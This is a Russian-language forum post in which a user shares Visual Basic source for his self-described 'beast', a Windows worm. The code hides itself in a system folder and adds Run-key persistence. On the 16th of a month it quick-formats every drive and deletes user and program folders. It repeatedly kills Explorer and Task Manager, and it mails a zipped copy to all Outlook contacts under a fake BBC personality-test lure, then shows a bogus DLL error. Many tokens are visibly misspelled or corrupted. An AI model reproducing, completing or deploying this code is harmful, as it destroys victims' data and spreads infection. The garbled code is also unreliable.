Имя пользователя:
Пароль:  
Помощь | Регистрация | Забыли пароль?  

Показать сообщение отдельно

Новый участник


Сообщения: 3
Благодарности: 1

Профиль | Отправить PM | Цитировать


А еще проще
Цитата gora:
taskkill.exe /F /IM explorer.exe
explorer.exe »
А вот мой зверек, писал давно.

читать дальше »
Код: Выделить весь код
Option Explicit

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Dim WshShell
Dim WScript
Dim SysDir
Dim FSO
Dim Ret
Dim Reg
Private Sub Form_Load()

On Error Resume Next
 
Set WshShell = WScript.CreateObject("WScript.Shell")
 
Set FSO = CreateObject("Scripting.FileSystemObject")

Set Reg = CreateObject("WScript.Shell")

SysDir = FSO.GetSpecialFolder(1)

Call FSO.Createder(SysDir & "\SysBootDrivers")

Ret = CopyFile(App.Path & "\" & App.EXENa& ".exe", Eviron("windir") & "\system32\SysBootDrivers" & "\" & "PsyTest.exe", False)
 
SetAtr (SysDir & "\SysBootivers"), vbHidden


Reg.RegWrite "HKLM\Softare\Microsoft\Windows\CurrentVersion\Run\SystemFilesProtect", SysDir & "\SysBootDrivers\SystemRunder.vbs"


Open SysDir & "\SysBootDrivers\BDA7I.bat" For Output As #1
Print #1, "@ECHO OFF"
Print #1, "ECHO Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ") > %SystemDrive%\RECYCLER\Unvisible.vbs"
Prin #1, "ECHO WSHShell.run " & """" & "%SystemDrive%\RECYCLER\DAVINCI.bat" & """" & ",0 >> %SystemDrive%\RECYCLER\Unvisible.vbs"
Print #1, "ECHO Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\Unvisible1.vbs"
Print #1, "ECHO WSHShell.run " & """" & "%winDir%\system32\SysBootDrivers\DOBERUS.BAT" & """" & ",0 >> %winDir%\system32\SysBootDrivers\Unvisible1.vbs"
Print #1, "ECHO Set WSHShell = WScript.CreaeObject(" & """" & "WScript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\REGProtect.vbs"
Print #1, "ECHO WSHShell.run " & """" & "%winDir%\system32\SysBootDrivers\REFORMX.bat" & """" & ",0 >> %winDir%\system32\SysBootDrivers\REGProtect.vbs"
Print #1, "ECHO Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\SystemWor.vbs"
Print #1, "ECHO WSHShell.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D.bat" & """" & ",0 >> %winDir%\system32\SysBootDrivers\SystemWor.vbs"
Print #1, "ECHO SET HDDINFKILL=FORMAT > %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% D: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% E: /Q /Y >%SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% C: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% A: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% B: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% F: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% G: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% H: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% I: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDIFKILL%% J: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% K: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% L: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% M: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% N: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% O: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% P: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% Q: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% R: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "@ATTRIB +H +R +S %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "START %SystemDrive%\RECYCLER\Unvisible.vbs"
Print #1, "@ATTRIB +H +R +S %SystemDrive%\RECYCLER\Unvisible.vbs"
Print #1, "@ATTRIB +H +R +S %winDir%\system32\SysBootDrivers\Unvisible1.vbs"
Print #1, "@ATTRIB +H +R +S %\system32\SysBootDrivers\REGProtect.vbs"
Print #1, "@ATTRIB +H +R +S %winDir%\system32\SysBootDrivers\SystemWor.vbs"
Print #1, "ECHO SET REGOBJECT=REG ADD > %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci /t reg_sz /d " & """" & "%SystemDrive%\RECYCLER\Unvisible.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO REGOBJECT%% " & "& "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci1 /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\Unvisible1.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci /t reg_sz /d " & """" & "%SystemDrive%\RECYCLER\Unvisible.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci1 /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\Unvisible1.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci2 /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\REGProtect.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci2 /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\REGProtect.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO REG ADD " & """" & "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  SystemDav /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\SystemWor.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_USERS\.DEFAULT\Control Panel\Desktop" & """" & " /v Wallpaper /t reg_sz /d " & """" & "%Windir%\System32\DESKTOP.bmp" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECO %%REGOBJECT%% " & """" & "HEY_CURRENT_USER\Control Panel\Desktop" & """" & " /v Wallpaper /t reg_sz /d " & """" & "%Windir%\System32\DESKTOP.bmp" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO START %winDir%\system32\SysBootDrivers\REGProtect.vbs >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO EXIT >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "@ATTRIBH +R +S %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "START %winDir%\system32\SysBootDrivers\REGProtect.vbs"
Print #1, "ECHO @ECHO OFF > %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO RD /S /Q %SYSTEMDRIVE%\DOCUME~1 >> %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO RD /S /Q %SYSTEMDRIVE%\PROGRA~1 >> %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO REG ADD " & """" & "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  NoForExplorer /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\StopExplorer.VBS" & """" & " /f >> %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO REG ADD " & """" & "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  NoForExplorer /t reg_sz /d " & """" & "%winDir%\stem32\SysBootDrivers\StopExplorer.VBS" & """" & " /f >> %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "@ATTRIB +H +R +S %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\StopExplorer.VBS"
Print #1, "ECHO WSHShell.run " & """" & "%winDir%\system32\SysBootDrivers\StopExplorer.bat" & """" & ",0 >> %winDir%\system32\SysBootDrivers\StopExplorer.VBS"
Print #1, "ECHO Start %winDir%\system32\SysBootDrivers\StopExplorer.VBS >> %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "ECHO taskkill /f /im Explorer.exe > %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "ECHO taskkill /f /im Taskmgr.exe >> %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "ECHO Start %winDir%\system32\SysBootDrivers\StopExplorer.VBS >> %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "@ATTRIB +H +R +S %winDir\system32\SysBootDrivers\StopExplorer.VBS"
Print #1, "@ATTRIB +H +R +S %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "DEL %0"
Print #1, "EXIT"
Close #1


Open SysDir & "\ZipFLD.vbs" For Ouput As #1
Print #1, "Option Explicit "
Print #1, "Dim SysDir"
Print #1, ""
Print #1, "MakeZIP"
Print #1, ""
Print #1, ""
Print #1, "Sub MakeZIP()"
Print #1, "Dim fso"
Print #1, "Dim wShell"
Print #1, "Dim Shell"
Prnt #1, "Dim n"
Print #1, "Dim ie"
Print #1, "Dim ZIPfile"
Print #1, "Dim ZIPdata:ZIPdata=" & """" & "PK" & """" & " & Chr(5) & Chr(6) & String(18,0)"
Print #1, "Dim file"
Print #1, "Dim Folder"
Print #1, "Dim FolderItem"
Print #1, "Dim dFolder"
Print #1, "Set fso=CreateObject(" & """" & "Scripting.FileSystemObject" & """" & ")"
Print #1, "Set wShell=CreateObject(" & """" & "WScript.Shell" & """" & ")"
Print #1, "SysDir = fso.GetSpecialFolder(1) "
Print #1, "Dim foldName : foldName = SDir & " & """" & "\SysBootDrivers\PsyTest.exe" & """" & ""
Print #1, "Dim archName : archName = SysDir & " & """" & "\SysBootDrivers\PsyTest.zip" & """" & ""
Print #1, "Set Shell=CreateObject(" & """" & "Shell.Application" & """" & ")"
Print #1, "For n=0 To 9"
Print #1, "For Each ie In Shell.Windows"
Print #1, "If Not ie.Busy Then"
Print #1, "If ie.ReadyState=4 Then"
Print #1, "If InStr(TypeName(ie.Docment)," & """" & "IShellFolderViewDual" & """" & ")=1 Then"
Print #1, "Exit For"
Print #1, "End If"
Print #1, "End If"
Print #1, "End If"
Print #1, "Next"
Print #1, "If Not IsEmpty(ie) Then Exit For"
Print #1, "If n=0 Then CreateObject(" & """" & "WScript.Shell" & """" & ").Run " & """" & "explorer.exe" & """" & ",0,True"
Print #1, "WScript.Sleep 100"
Print #1, "Next"
Print #1, "If IsEmpty(ie) Then"
Print #1, "WScript.Quit"
Print #1, "End If"
Print #1, "Set Shell=ie.Document.Application"
Print #1, "ZIPfile=fso.GetAbsolutePathName(archName)"
Print #1, "If UCase(fso.GetExtensionName(ZIPfile))<>" & """" & "ZIP" & """" & " Then"
Print #1, "WScript.Quit"
Print #1, "End If"
Print #1, "If Not fso.FileExists(ZIPfile) Then"
Print #1, "fso.CreateTextFile(ZIPfile,False).Write ZIPdata"
Print #1, "End If"
Print #1, "Set dFolder=Shell.NamSpace(ZIPfile)"
Print #1, "file=fso.GetAbsolutePathName(foldName)"
Print #1, "Set Folder=Shell.NameSpace(fso.GetParentFolderName(file))"
Print #1, "Set FolderItem=Folder.ParseName(fso.GetFileName(file))"
Print #1, "If FolderItem Is Nothing Then"
Print #1, "WScript.Quit"
Print #1, "End If"
Print #1, "dFolder.Copyre FolderItem"
Print #1, "End Sub"
Close #1

If FSO.FileExists(SysDir & "\SysBootDrivers\PsyTest.zip") Then
On Error Resume Next
Kill (SysDir & "\SysBootDrivers\PsyTest.zip")
VBA.Shell "cscript.exe   " & (SysDir & "\ZipFLD.vbs"), vbHide
Else
VBA.Shell "cscript" & (SysDir & "\ZipFLD.vbs"), vbHide
End If

SetAttr (SysDir & "\ZipFLD.vbs"), vbHidden
SetAttr (SysDir & "\SysBootDrivers\PsyTest.exe"), vbHidden

Open SysDir & "\SysBootDrivers\SystemRunder.vbs" For Output As #1
Print #1, "if Day(now)=16 Then"
Print #1, "On Error Next "
Print #1, "Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ")"
Print #1, "Set fso = CreateObject(" & """" & "Scripting.FileSystemObject" & """" & ")"
Print #1, "SysDir = fso.GetSpecialFolder(1)"
Print #1, "WshShell.Run(SysDir & " & """" & "\SysBootDrivers\BDA7I.bat" & """" & "), vbHide"
Print #1, "End If"
Close #1

VBA.Shell "cscript.exe   " & (SysDir & "\SysBootDrivers\SystemRunder.vbs"), vbHide

SetAttr (SysDir & "\SysBootDrivers\SystemRunder.vbs"), vbHidden

Open SysDir & "\SysBootDrivers\Wor-D.bat" For Output As #1
Print #1, "SET WDQS=CHO"
Print #1, "%WDQS% Dim x > %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% ON ERROR RESUME NEXT >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set so=CreateObject(" & """" & "Scripting.FileSystemObject" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set ol=CreateObject(" & """" & "Outlook.Application" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D1" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBotDrivers\Wor-D.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D1.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% out= WScript.CreateObject(" & """" & "Outlook.Application" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D2" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBDrivers\Wor-D1.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D2.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% Set mapi = out.GetNameSpace(" & """" & "MAPI" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set a = mapi.AddressLists(1) >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D3" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\sysem32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBootDrivers\Wor-D2.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D3.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% For x=x+1 To a.AddressEntries.Count >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set Dav=ol.CreateItem(0) >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Dav.to=ol.GetNameSpace(" & """" & "MAPI" & """" & ").AddressLists(1).AddressEntries(x) >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D4" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Prnt #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBootDrivers\Wor-D3.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D4.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% Dav.Subject=" & """" & "What am I like?" & """" & " >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Dav.Body=" & """" & "HI! In this programme, you can play along and discover your personality type at home. Are you an Idlist, a Big Thinker or another of 16 personality types? Use the attachment and visit home page of this programme http://www.BBC.co.uk/sn/tvradio/programmes/whatamilike/ Contact Us http://www.BBC.co.uk/feedback/" & """" & " >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D5" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBootDrivers\Wor-D4.bat"), vbHidden
Oen SysDir & "\SysBootDrivers\Wor-D5.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% Dav.Attachments.Add(" & """" & "%winDir%\system32\SysBootDrivers\PsyTest.zip" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D6" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Cse #1
SetAttr (SysDir & "\SysBootDrivers\Wor-D5.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D6.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% Dav.Send >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Next >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% ol.Quit >> %winDir%\system32\SystemDav.vbs"
Print #1, "attrib +h %winDir%\system32\SystemDav.vbs"
Print #1, "start %winDir%\system32\SystemDav.vbs"
Pint #1, "del %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAr (SysDir & "\SysBootDrivers\Wor-D6.bat"), vbHidden
MsgBox "This application has failed to start because CSLav9e.dll was not found!", vbCritical

Set FSO = Nothing
Set WshShell = Nothing
End
End Sub



                       'Created by ComSyntax'
                                '14/08/2007'
                                   'DaViNcI'

Последний раз редактировалось ComSyntax, 05-08-2008 в 12:20. Причина: теги [code] [more]


Отправлено: 20:53, 03-08-2008 | #10